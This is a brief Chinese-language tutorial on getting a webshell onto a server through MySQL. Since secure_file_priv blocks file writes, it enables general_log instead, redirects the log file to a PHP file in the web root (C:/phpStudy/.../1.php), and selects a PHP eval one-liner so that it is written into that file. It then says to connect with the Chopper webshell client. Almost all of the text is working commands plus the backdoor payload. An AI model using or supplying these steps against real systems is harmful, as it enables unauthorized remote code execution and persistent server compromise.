secure_file_priv是一个全局变量,是指定文件夹作为导出文件存放的地方,默认情况是一个空置(NULL);
打开后用into outfile 等函数可以将一句话写入secure_file_priv目录下;
1.把secure_file_priv的值设置为网站根目录:
set global secure_file_priv=‘C:\phpStudy/PHPTutorial/WWW’;
//失败 Variable ‘secure_file_priv’ is a read only variable不允许更改
2.转换思路通过写入日志方式让它执行;
general_log 日志保存状态on or off;
general_log_file 日志保存路径及格式;
1)show variables like ‘%general%’; //查找全局变量general发现是off
2)set global general_log=on; //把general_log打开
3)set global general_log_file=‘C:/phpStudy/PHPTutorial/WWW/1.php’;
//改变日志生成的地址,/是表示绝对路径
3.然后写入一句话木马
select ‘<?php @eval($_POST[admin]);?>’;
//然后就会在日志文件1.php中生成我们写的一句话木马,然后用菜刀链接日志路径1.php